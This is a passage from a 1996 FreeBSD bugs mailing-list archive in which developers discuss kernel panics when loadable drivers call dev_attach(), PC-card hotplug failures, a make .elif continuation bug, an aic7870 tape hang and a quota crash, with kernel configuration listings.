qcam.c. It panics with a kernel page fault, but the current calling chain did /not/ include any of the qcam routines in the stack frame. I just found this by scratching my head and looking to see what I did that the joystick routine didn't do. (b) I was forced to manually call qcam_registerdev() which is the code that attaches the driver's cdevsw structure to the rest of the kernel. Without this, of course, devices are not reachable via their inodes. I feel that it's not proper for the LKM _load function to be doing this. This really should be done as part of the LKM load process since you already have the major number and the pointer to the structure passed in. (c) LKMs for device drivers with hardware that is not at a fixed address (e.g. the joystick) or completely auto-scanable are really kludgy right now. There's no easy way, other than editing the driver source, to say: "Hey, I want the xxx driver, and I want it to look for the device over here." I was thinking of kludging something together to make auto-scanning work for the qcam driver, but that would remove the pressure to deal with this properly. :-) The joys of early adoption. In any case, a lot of this is judgement call stuff, so please tell me which you'd like me to file PR's on and which you think I'm wrong in understanding. Paul From owner-freebsd-bugs Thu Mar 21 05:44:34 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA26881 for bugs-outgoing; Thu, 21 Mar 1996 05:44:34 -0800 (PST) Received: from frig.mt.cs.keio.ac.jp (frig.mt.cs.keio.ac.jp [131.113.32.7]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id FAA26860 Thu, 21 Mar 1996 05:44:29 -0800 (PST) Received: (from hosokawa@localhost) by frig.mt.cs.keio.ac.jp (8.6.12+2.4W/3.4Wbeta3) id WAA08147; Thu, 21 Mar 1996 22:44:16 +0900 Date: Thu, 21 Mar 1996 22:44:16 +0900 Message-Id: <199603211344.WAA08147@frig.mt.cs.keio.ac.jp> To: pst@shockwave.com Cc: bde@freebsd.org, hackers@freebsd.org, bugs@freebsd.org, jmz@freebsd.org, hosokawa@mt.cs.keio.ac.jp Subject: dev_attach after boot (Re: modloaded block/char device drivers) In-Reply-To: Your message of Thu, 21 Mar 1996 00:37:51 -0800. <199603210837.AAA00354@precipice.shockwave.com> From: hosokawa@mt.cs.keio.ac.jp (HOSOKAWA Tatsumi) X-Mailer: mnews [version 1.18PL3] 1994-08/01(Mon) Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi. I'm working on PC-card driver package of FreeBSD. In article <199603210837.AAA00354@precipice.shockwave.com> pst@shockwave.com writes: >> (a) calling dev_attach() from a modloaded device panics the system. >> I have not even attempted to mess with this yet, but it can be >> trivially reproduced by removing the #ifndef ACTUALL_LKM_NOT_KERNEL >> wrappers around the call in qcam.c. It panics with a kernel page >> fault, but the current calling chain did /not/ include any of the >> qcam routines in the stack frame. I just found this by scratching >> my head and looking to see what I did that the joystick routine >> didn't do. I'm facing the same problem with pccard drivers on 2.2. When I try to enable (hotplug) Flash ATA (wdc and wd) driver or SCSI devices (cd, sd, etc.), the kernel panic()'s by kernel page fault. I found it never panics when I commented out the calls of dev_attach() in those drivers. I think that dev_attach() of 2.2 has serious bug in dynamic reconfiguration of devices (dev_attach() of 2.1 has no problem in these operations). -- HOSOKAWA, Tatsumi E-mail: hosokawa@mt.cs.keio.ac.jp WWW homepage: http://www.mt.cs.keio.ac.jp/person/hosokawa.html Department of Computer Science, Keio University, Yokohama, Japan From owner-freebsd-bugs Thu Mar 21 06:43:33 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA29773 for bugs-outgoing; Thu, 21 Mar 1996 06:43:33 -0800 (PST) Received: from frig.mt.cs.keio.ac.jp (frig.mt.cs.keio.ac.jp [131.113.32.7]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id GAA29743 Thu, 21 Mar 1996 06:43:25 -0800 (PST) Received: (from hosokawa@localhost) by frig.mt.cs.keio.ac.jp (8.6.12+2.4W/3.4Wbeta3) id XAA08476; Thu, 21 Mar 1996 23:43:22 +0900 Date: Thu, 21 Mar 1996 23:43:22 +0900 Message-Id: <199603211443.XAA08476@frig.mt.cs.keio.ac.jp> To: pst@shockwave.com, bde@freebsd.org, hackers@freebsd.org, bugs@freebsd.org, jmz@freebsd.org Cc: hosokawa@mt.cs.keio.ac.jp Subject: Re: dev_attach after boot (Re: modloaded block/char device drivers) In-Reply-To: Your message of Thu, 21 Mar 1996 22:44:16 +0900. <199603211344.WAA08147@frig.mt.cs.keio.ac.jp> From: hosokawa@mt.cs.keio.ac.jp (HOSOKAWA Tatsumi) X-Mailer: mnews [version 1.18PL3] 1994-08/01(Mon) Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sorry! I forgot to write about important experiences. In article <199603211344.WAA08147@frig.mt.cs.keio.ac.jp> hosokawa@mt.cs.keio.ac.jp writes: >> When I try to enable (hotplug) Flash ATA (wdc and wd) driver or SCSI >> devices (cd, sd, etc.), the kernel panic()'s by kernel page fault. >> >> I found it never panics when I commented out the calls of dev_attach() >> in those drivers. Not all dynamic dev_attach() causes panic(). For example, if_ed NE2000 compatible PCMCIA Ethernet OK if_nep 3C589x PCMCIA Ethernet OK if_fe Fujitsu PCMCIA Ethernet OK wdc/wd Flash ATA / Type 3 ATA disk NG sio PCMCIA Modem OK aic/cd SCSI CDROM w/ SlimSCSI PCMCIA NG aic/sd SCSI HDD w/ SlimSCSI PCMCIA NG So, I think adding the controllers dynamically causes this panic(), but I was confused by reading that qcam has the same problem. Apparently, qcam is not controller/disk type device. Of course I read dev_attach() in kern_devconf.c and it seems to have no problem which causes such panic()'s. Currently, I'm planning to write a quick hack patch that PCMCIA dynamic device enabler never calls dev_attach() if this problem can't solved for long. Does any can guess the reason of this fatal problem? Thanks. -- HOSOKAWA, Tatsumi E-mail: hosokawa@mt.cs.keio.ac.jp WWW homepage: http://www.mt.cs.keio.ac.jp/person/hosokawa.html Department of Computer Science, Keio University, Yokohama, Japan From owner-freebsd-bugs Thu Mar 21 08:30:10 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA19313 for bugs-outgoing; Thu, 21 Mar 1996 08:30:10 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA19288 Thu, 21 Mar 1996 08:30:04 -0800 (PST) Resent-Date: Thu, 21 Mar 1996 08:30:04 -0800 (PST) Resent-Message-Id: <199603211630.IAA19288@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, asami@cs.berkeley.edu Received: from silvia.HIP.Berkeley.EDU (silvia.HIP.Berkeley.EDU [136.152.64.181]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id IAA16876 for ; Thu, 21 Mar 1996 08:21:09 -0800 (PST) Received: (from asami@localhost) by silvia.HIP.Berkeley.EDU (8.7.5/8.6.9) id IAA07041; Thu, 21 Mar 1996 08:21:06 -0800 (PST) Message-Id: <199603211621.IAA07041@silvia.HIP.Berkeley.EDU> Date: Thu, 21 Mar 1996 08:21:06 -0800 (PST) From: asami@cs.berkeley.edu Reply-To: asami@cs.berkeley.edu To: FreeBSD-gnats-submit@freebsd.org Cc: asami@silvia.HIP.Berkeley.EDU X-Send-Pr-Version: 3.2 Subject: bin/1095: make's continuation line handling buggy when used with .elif Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1095 >Category: bin >Synopsis: make's continuation line handling buggy when used with .elif >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 21 08:30:02 PST 1996 >Last-Modified: >Originator: Satoshi Asami >Organization: The awesome FreeBSD ports team >Release: FreeBSD 2.2-CURRENT i386 >Environment: FreeBSD-current >Description: /usr/bin/make can't handle the continuation line correctly when \ is used to break a long .elif line into two. >How-To-Repeat: bash$ cat Makefile1 all: .if defined(foo) @true .elif !defined(foo) && !defined(foo) @echo ok .else @echo not ok .endif bash$ make -f Makefile1 ok bash$ cat Makefile2 all: .if defined(foo) @true .else .if !defined(foo) && \ !defined(foo) @echo ok .else @echo not ok .endif .endif bash$ make -f Makefile2 ok bash$ cat Makefile3 all: .if defined(foo) @true .elif !defined(foo) && \ !defined(foo) @echo ok .else @echo not ok .endif bash$ make -f Makefile3 not ok <<<<<<<============ bash$ >Fix: No idea. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Mar 21 08:42:24 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA22505 for bugs-outgoing; Thu, 21 Mar 1996 08:42:24 -0800 (PST) Received: (from wollman@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA22478 Thu, 21 Mar 1996 08:42:22 -0800 (PST) Date: Thu, 21 Mar 1996 08:42:22 -0800 (PST) From: Garrett Wollman Message-Id: <199603211642.IAA22478@freefall.freebsd.org> To: wollman, freebsd-bugs, wollman Subject: Re: bin/1093 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: route's diagnostic is weird Responsible-Changed-From-To: freebsd-bugs->wollman Responsible-Changed-By: wollman Responsible-Changed-When: Thu Mar 21 08:41:55 PST 1996 Responsible-Changed-Why: Network bug. From owner-freebsd-bugs Thu Mar 21 10:10:28 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id KAA14110 for bugs-outgoing; Thu, 21 Mar 1996 10:10:28 -0800 (PST) Received: from precipice.shockwave.com (precipice.shockwave.com [171.69.108.33]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id KAA14095 Thu, 21 Mar 1996 10:10:24 -0800 (PST) Received: from localhost.shockwave.com (localhost.shockwave.com [127.0.0.1]) by precipice.shockwave.com (8.7.4/8.7.3) with SMTP id KAA02061; Thu, 21 Mar 1996 10:09:36 -0800 (PST) Message-Id: <199603211809.KAA02061@precipice.shockwave.com> To: hosokawa@mt.cs.keio.ac.jp (HOSOKAWA Tatsumi) cc: bde@freebsd.org, hackers@freebsd.org, bugs@freebsd.org, jmz@freebsd.org Subject: Re: dev_attach after boot (Re: modloaded block/char device drivers) In-reply-to: Your message of "Thu, 21 Mar 1996 23:43:22 +0900." <199603211443.XAA08476@frig.mt.cs.keio.ac.jp> Date: Thu, 21 Mar 1996 10:09:35 -0800 From: Paul Traina Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Not all dynamic dev_attach() causes panic(). For example, if_ed NE2000 compatible PCMCIA Ethernet OK if_nep 3C589x PCMCIA Ethernet OK if_fe Fujitsu PCMCIA Ethernet OK wdc/wd Flash ATA / Type 3 ATA disk NG sio PCMCIA Modem OK aic/cd SCSI CDROM w/ SlimSCSI PCMCIA NG aic/sd SCSI HDD w/ SlimSCSI PCMCIA NG So, I think adding the controllers dynamically causes this panic(), but I was confused by reading that qcam has the same problem. Apparently, qcam is not controller/disk type device. Of course I read dev_attach() in kern_devconf.c and it seems to have no problem which causes such panic()'s. No, but the one common thread is that all of the ones that are OK register no character/block devices. From owner-freebsd-bugs Thu Mar 21 12:15:59 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA22082 for bugs-outgoing; Thu, 21 Mar 1996 12:15:59 -0800 (PST) Received: from halloran-eldar.lcs.mit.edu (halloran-eldar.lcs.mit.edu [18.26.0.159]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id MAA22068 for ; Thu, 21 Mar 1996 12:15:50 -0800 (PST) Received: by halloran-eldar.lcs.mit.edu; (5.65/1.1.8.2/19Aug95-0530PM) id AA18897; Thu, 21 Mar 1996 15:15:15 -0500 Date: Thu, 21 Mar 1996 15:15:15 -0500 From: "Garrett A. Wollman" Message-Id: <9603212015.AA18897@halloran-eldar.lcs.mit.edu> To: Paul Traina Cc: bugs@FreeBSD.org Subject: Re: dev_attach after boot (Re: modloaded block/char device drivers) In-Reply-To: <199603211809.KAA02061@precipice.shockwave.com> References: <199603211443.XAA08476@frig.mt.cs.keio.ac.jp> <199603211809.KAA02061@precipice.shockwave.com> Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk < said: > Apparently, qcam is not controller/disk type device. Of course I read > dev_attach() in kern_devconf.c and it seems to have no problem which > causes such panic()'s. > No, but the one common thread is that all of the ones that are OK register > no character/block devices. Something is seriously wrong if these two have any relationship. devconf knows nothing about devsw[]. -GAWollman -- Garrett A. Wollman | Shashish is simple, it's discreet, it's brief. ... wollman@lcs.mit.edu | Shashish is the bonding of hearts in spite of distance. Opinions not those of| It is a bond more powerful than absence. We like people MIT, LCS, ANA, or NSA| who like Shashish. - Claude McKenzie + Florent Vollant From owner-freebsd-bugs Thu Mar 21 14:30:07 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA20272 for bugs-outgoing; Thu, 21 Mar 1996 14:30:07 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA20264 Thu, 21 Mar 1996 14:30:03 -0800 (PST) Resent-Date: Thu, 21 Mar 1996 14:30:03 -0800 (PST) Resent-Message-Id: <199603212230.OAA20264@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, haug@conterra.com Received: from dorothy.columbiasc.ncr.com ([153.78.113.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id OAA19902 for ; Thu, 21 Mar 1996 14:24:48 -0800 (PST) Received: (from haug@localhost) by dorothy.columbiasc.ncr.com (8.6.12/8.6.12) id MAA00547; Thu, 21 Mar 1996 12:19:12 -0500 Message-Id: <199603211719.MAA00547@dorothy.columbiasc.ncr.com> Date: Thu, 21 Mar 1996 12:19:12 -0500 From: "Brian R. Haug" Reply-To: haug@conterra.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: i386/1097: system hang during tape rewind/aic7870 controller Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1097 >Category: i386 >Synopsis: system hang during tape rewind/aic7870 controller >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Mar 21 14:30:01 PST 1996 >Last-Modified: >Originator: Brian R. Haug >Organization: Personal Machine >Release: FreeBSD 2.1-STABLE i386 >Environment: aic7870 controller, WANGTEK 5525ES SCSI 75F5 tape drive >Description: interrupted a cpio from tape, system locked up shortly thereafter. A separate window doing ls -lR / stopped producing output The following messages were typicly seen on the console: ahc0: target 1, lun 0 (sd1) timed out st0 (ahc0:5:0): BUS DEVICE RESET message queued ahc0: target 0, lun 0 (sd0) timeout I'm guessing the problem has something to do with a rewind operation taking a "long" period of time Attempting to debug this, I found that the macro RESTART_SEQUENCER at the end of ahc_reset_channel never completed >How-To-Repeat: cpio -it Fix: workaround: copy the files /usr/src/sys/dev/aic7xxx/* from a 2.0.5 distribution >Audit-Trail: >Unformatted: From owner-freebsd-bugs Thu Mar 21 16:15:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA28083 for bugs-outgoing; Thu, 21 Mar 1996 16:15:04 -0800 (PST) Received: from fn1.freenet.edmonton.ab.ca (fn1.freenet.edmonton.ab.ca [198.161.206.8]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA28035 Thu, 21 Mar 1996 16:14:53 -0800 (PST) Received: by fn1.freenet.edmonton.ab.ca (AIX 3.2/UCB 5.64/4.03) id AA44167; Thu, 21 Mar 1996 17:13:21 -0700 Date: Thu, 21 Mar 1996 17:13:20 -0700 (MST) From: Ronald Grootkarzyn To: fbsd-ports , fbsd-hackers , fbsd-bugs Subject: Invalid Type '->' wrt GCC/ctype.h Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk To those that may know; Please consider and reply, if possible, with RFI's or solutions to the following complation merror message; I run a custom FBSD 2.10 kernel (sound for sbpro & SYS V support) on a 486 pc compatible. When compiling the following programs; xlockmore 3.7 and mSQL 1.0.6+, I receive the following error message from ctype.h .../ctype.h:147: invalid type arguement of '->' in the following functions; __istype, __tolower, __toupper. I have successfully compiled xlockmore from FBSD 2.0 forward and have compiled mSQL on FBSD 2.0. Thank-you in advance for considering these questions, which are beyond my very limited C programming experience. Respectfully ron Ronald Grootkarzyn email: ron@freenet.edmonton.ab.ca 4013 - 114 Avenue phone: (403) 479-2672 Edmonton, AB, T5W 0S9 From owner-freebsd-bugs Thu Mar 21 22:04:05 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA17697 for bugs-outgoing; Thu, 21 Mar 1996 22:04:05 -0800 (PST) Received: from xfer.ik.co.kr ([203.238.155.2]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA17628 for ; Thu, 21 Mar 1996 22:04:02 -0800 (PST) Received: (from root@localhost) by xfer.ik.co.kr (8.7.1H1/8.6.12) id PAA06961 for freebsd-bugs@FreeBSD.org; Fri, 22 Mar 1996 15:02:52 +0900 (KST) Date: Fri, 22 Mar 1996 15:02:52 +0900 (KST) From: "sang young Kim [Network Admin]" Message-Id: <199603220602.PAA06961@xfer.ik.co.kr> To: freebsd-bugs@FreeBSD.org Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk unsubscribe From owner-freebsd-bugs Fri Mar 22 03:03:46 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA29848 for bugs-outgoing; Fri, 22 Mar 1996 03:03:46 -0800 (PST) Received: from blue.marlin.com.br ([200.255.107.33]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA29796 Fri, 22 Mar 1996 03:03:37 -0800 (PST) Received: from blue.marlin.com.br by blue.marlin.com.br (8.6.12/SMI-4.1) id IAA01135; Fri, 22 Mar 1996 08:04:15 -0300 Date: Fri, 22 Mar 1996 08:04:15 -0300 (EST) From: Flavio Imbert Domingos To: freebsd-bugs@freebsd.org, hackers@freebsd.org cc: Suporte Marlin Subject: I am having problems with quota on 2.1 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! When I am using quota (quotaon) in my system, the system crash slowly and I can't log into the system anymore. I am using FreeBSD 2.1 and I have a Pentium 100 + 32MB + SCSI HD, TAPE, etc.. Could anyone please tell me if there is a bug in FreeBSD 2.1 on quota or if I am making anything wrong? I am sending my kernel configuration too. Thanks in advance, Flavio Imbert. ------------------------- My Kernel Configuration ---------------------- # # GENERIC -- Generic machine with WD/AHx/NCR/BTx family disks # # $Id: GENERIC,v 1.46.2.6 1995/10/25 17:29:51 jkh Exp $ # machine "i386" #cpu "I386_CPU" #cpu "I486_CPU" cpu "I586_CPU" ident Kernel maxusers 10 #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options FFS #Berkeley Fast Filesystem options NFS #Network Filesystem #options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 options "SCSI_DELAY=10" #Be pessimistic about Joe SCSI device options BOUNCE_BUFFERS #include support for DMA bounce buffers options UCONSOLE #Allow users to grab the console options SYSVSHM options SYSVSEM options SYSVMSG options QUOTA config kernel root on wd0 controller isa0 controller pci0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr disk fd0 at fdc0 drive 0 #disk fd1 at fdc0 drive 1 #tape ft0 at fdc0 drive 2 #controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr #disk wd0 at wdc0 drive 0 #disk wd1 at wdc0 drive 1 #controller wdc1 at isa? port "IO_WD2" bio irq 15 vector wdintr #disk wd2 at wdc1 drive 0 #disk wd3 at wdc1 drive 1 #options ATAPI #Enable ATAPI support for IDE bus #device wcd0 #IDE CD-ROM controller ncr0 controller ahc0 #controller bt0 at isa? port "IO_BT0" bio irq ? vector btintr #controller uha0 at isa? port "IO_UHA0" bio irq ? drq 5 vector uhaintr #controller ahc1 at isa? bio irq ? vector ahcintr #controller ahb0 at isa? bio irq ? vector ahbintr #controller aha0 at isa? port "IO_AHA0" bio irq ? drq 5 vector ahaintr #controller aic0 at isa? port 0x340 bio irq 11 vector aicintr #controller nca0 at isa? port 0x1f88 bio irq 10 vector ncaintr #controller nca1 at isa? port 0x350 bio irq 5 vector ncaintr #controller sea0 at isa? bio irq 5 iomem 0xc8000 iosiz 0x2000 vector seaintr controller scbus0 device sd0 device st0 device cd0 #Only need one of these, the code dynamically grows #device wt0 at isa? port 0x300 bio irq 5 drq 1 vector wtintr #device mcd0 at isa? port 0x300 bio irq 10 vector mcdintr #device mcd1 at isa? port 0x340 bio irq 11 vector mcdintr #controller matcd0 at isa? port 0x230 bio #device scd0 at isa? port 0x230 bio # syscons is the default console driver, resembling an SCO console device sc0 at isa? port "IO_KBD" tty irq 1 vector scintr # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? port "IO_KBD" tty irq 1 vector pcrint options "PCVT_FREEBSD=210" # pcvt running on FreeBSD 2.1 options XSERVER # include code for XFree86 device npx0 at isa? port "IO_NPX" irq 13 vector npxintr device sio0 at isa? port "IO_COM1" tty irq 4 vector siointr device sio1 at isa? port "IO_COM2" tty irq 3 vector siointr device sio2 at isa? port "IO_COM3" tty irq 5 vector siointr device sio3 at isa? port "IO_COM4" tty irq 9 vector siointr device lpt0 at isa? port? tty irq 7 vector lptintr #device lpt1 at isa? port? tty #device lpt2 at isa? port? tty #device mse0 at isa? port 0x23c tty irq 5 vector mseintr # Order is important here due to intrusive probes, do *not* alphabetize # this list of network interfaces until the probes have been fixed. # Right now it appears that the ie0 must be probed before ep0. See # revision 1.20 of this file. #device de0 #device ed0 at isa? port 0x280 net irq 5 iomem 0xd8000 vector edintr device ed1 at isa? port 0x300 net irq 5 iomem 0xd8000 vector edintr #device ie0 at isa? port 0x360 net irq 7 iomem 0xd0000 vector ieintr #device ep0 at isa? port 0x300 net irq 10 vector epintr #device ix0 at isa? port 0x300 net irq 10 iomem 0xd0000 iosiz 32768 vector ixintr #device le0 at isa? port 0x300 net irq 5 iomem 0xd0000 vector le_intr #device lnc0 at isa? port 0x280 net irq 10 drq 0 vector lncintr #device lnc1 at isa? port 0x300 net irq 10 drq 0 vector lncintr #device ze0 at isa? port 0x300 net irq 5 iomem 0xd8000 vector zeintr #device zp0 at isa? port 0x300 net irq 10 iomem 0xd8000 vector zpintr pseudo-device loop pseudo-device ether pseudo-device log #pseudo-device sl 1 # ijppp uses tun instead of ppp device #pseudo-device ppp 1 pseudo-device tun 1 pseudo-device pty 16 pseudo-device gzip # Exec gzipped a.out's From owner-freebsd-bugs Fri Mar 22 05:00:24 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA04609 for bugs-outgoing; Fri, 22 Mar 1996 05:00:24 -0800 (PST) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id FAA04591 Fri, 22 Mar 1996 05:00:17 -0800 (PST) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id XAA05969; Fri, 22 Mar 1996 23:58:50 +1100 Date: Fri, 22 Mar 1996 23:58:50 +1100 From: Bruce Evans Message-Id: <199603221258.XAA05969@godzilla.zeta.org.au> To: bde@freebsd.org, pst@shockwave.com Subject: Re: modloaded block/char device drivers Cc: bugs@freebsd.org, hackers@freebsd.org, jmz@freebsd.org Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >(a) calling dev_attach() from a modloaded device panics the system. > I have not even attempted to mess with this yet, but it can be There isn't much to go wrong. There must be a bad pointer. > trivially reproduced by removing the #ifndef ACTUALL_LKM_NOT_KERNEL > wrappers around the call in qcam.c. It panics with a kernel page > fault, but the current calling chain did /not/ include any of the > qcam routines in the stack frame. I just found this by scratching Perhaps ebp got trashed (the stack trace stops when it hits ebp == 0). Then the problem might not be in dev_attach. >(b) I was forced to manually call qcam_registerdev() which is the code > that attaches the driver's cdevsw structure to the rest of the kernel. > Without this, of course, devices are not reachable via their inodes. > I feel that it's not proper for the LKM _load function to be > doing this. This really should be done as part of the LKM load process > since you already have the major number and the pointer to the structure > passed in. I think it's proper (except qcam_sysinit() doesn't handle failures and isn't designed to be reused) and the SYSINITs for installing the device switches are improper. The only reason for the SYSINITs is that they saved Julian from having to find the correct places to call [bc]devsw_add() in dozens of driver attach functions. It's simpler for statically configured drivers to call [bc]devsw_add() directly if you're writing a new driver (see sio, syscons and pcvt - the SYSINITs didn't even work for syscons and pcvt because the major number is shared). I think the SYSINITs get in the way even more for dynamically configured drivers. >(c) LKMs for device drivers with hardware that is not at a fixed address > (e.g. the joystick) or completely auto-scanable are really kludgy > right now. There's no easy way, other than editing the driver source, qcam should also worry about conflicts with lpt* :-). Someone might even want to use the same lpt port at different times for printing, parallel port TCP/IP, and qcam. The lpt driver and the plip driver are in the same file so that they can be selected between using an ioctl. There's gotta be a better way to do this. Bruce From owner-freebsd-bugs Fri Mar 22 08:44:32 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id IAA14434 for bugs-outgoing; Fri, 22 Mar 1996 08:44:32 -0800 (PST) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id IAA14413 Fri, 22 Mar 1996 08:44:26 -0800 (PST) Received: by gvr.win.tue.nl (8.6.12/1.53) id RAA00506; Fri, 22 Mar 1996 17:43:15 +0100 From: guido@gvr.win.tue.nl (Guido van Rooij) Message-Id: <199603221643.RAA00506@gvr.win.tue.nl> Subject: Re: I am having problems with quota on 2.1 To: imbert@marlin.com.br (Flavio Imbert Domingos) Date: Fri, 22 Mar 1996 17:43:15 +0100 (MET) Cc: freebsd-bugs@FreeBSD.org, hackers@FreeBSD.org, suporte@marlin.com.br In-Reply-To: from "Flavio Imbert Domingos" at Mar 22, 96 08:04:15 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Flavio Imbert Domingos wrote: > > > Hi! > > When I am using quota (quotaon) in my system, the system crash slowly and I > can't log into the system anymore. I am using FreeBSD 2.1 and I have a Pentium > 100 + 32MB + SCSI HD, TAPE, etc.. Could anyone please tell me if there > is a bug in FreeBSD 2.1 on quota or if I am making anything wrong? I am > sending my kernel configuration too. > Where do you have the quota files? What happens if you only enable quota on one of the disks? -Guido From owner-freebsd-bugs Fri Mar 22 09:30:03 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA17091 for bugs-outgoing; Fri, 22 Mar 1996 09:30:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA17080 Fri, 22 Mar 1996 09:30:01 -0800 (PST) Date: Fri, 22 Mar 1996 09:30:01 -0800 (PST) Message-Id: <199603221730.JAA17080@freefall.freebsd.org> To: freebsd-bugs Cc: From: "JULIAN Elischer" Subject: Re: i386/1097: system hang during tape rewind/aic7870 controller Reply-To: "JULIAN Elischer" Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following reply was made to PR i386/1097; it has been noted by GNATS. From: "JULIAN Elischer" To: haug@conterra.com Cc: FreeBSD-gnats-submit@freebsd.org Subject: Re: i386/1097: system hang during tape rewind/aic7870 controller Date: Thu, 21 Mar 1996 16:37:30 -0800 (PST) change the timeout on the rewind command (it's im mSecs) in /sys/scsi/st.c > > > > >Number: 1097 > >Category: i386 > >Synopsis: system hang during tape rewind/aic7870 controller > > >Fix: > workaround: > copy the files /usr/src/sys/dev/aic7xxx/* from a 2.0.5 distribution > > >Audit-Trail: > >Unformatted: > From owner-freebsd-bugs Fri Mar 22 09:34:49 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id JAA17370 for bugs-outgoing; Fri, 22 Mar 1996 09:34:49 -0800 (PST) Received: from precipice.shockwave.com (precipice.shockwave.com [171.69.108.33]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id JAA17350 Fri, 22 Mar 1996 09:34:45 -0800 (PST) Received: from localhost.shockwave.com (localhost.shockwave.com [127.0.0.1]) by precipice.shockwave.com (8.7.4/8.7.3) with SMTP id JAA06312; Fri, 22 Mar 1996 09:34:36 -0800 (PST) Message-Id: <199603221734.JAA06312@precipice.shockwave.com> To: Bruce Evans cc: bde@freebsd.org, bugs@freebsd.org, hackers@freebsd.org, jmz@freebsd.org Subject: Re: modloaded block/char device drivers In-reply-to: Your message of "Fri, 22 Mar 1996 23:58:50 +1100." <199603221258.XAA05969@godzilla.zeta.org.au> Date: Fri, 22 Mar 1996 09:34:36 -0800 From: Paul Traina Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk From: Bruce Evans Subject: Re: modloaded block/char device drivers qcam should also worry about conflicts with lpt* :-). Someone might even want to use the same lpt port at different times for printing, parallel port TCP/IP, and qcam. The lpt driver and the plip driver are in the same file so that they can be selected between using an ioctl. There's gotta be a better way to do this. Yep. Right now, they actually /do/ stay out of each others way, as long as you don't try to open both devices at the same time. It seems to me, we need something like a top half and a bottom half of the kdc, the top half stays with the driver (i.e. belongs to qcam or lpt) and the bottom half stays with the hardware. Then opening either device would lock out the other device. From 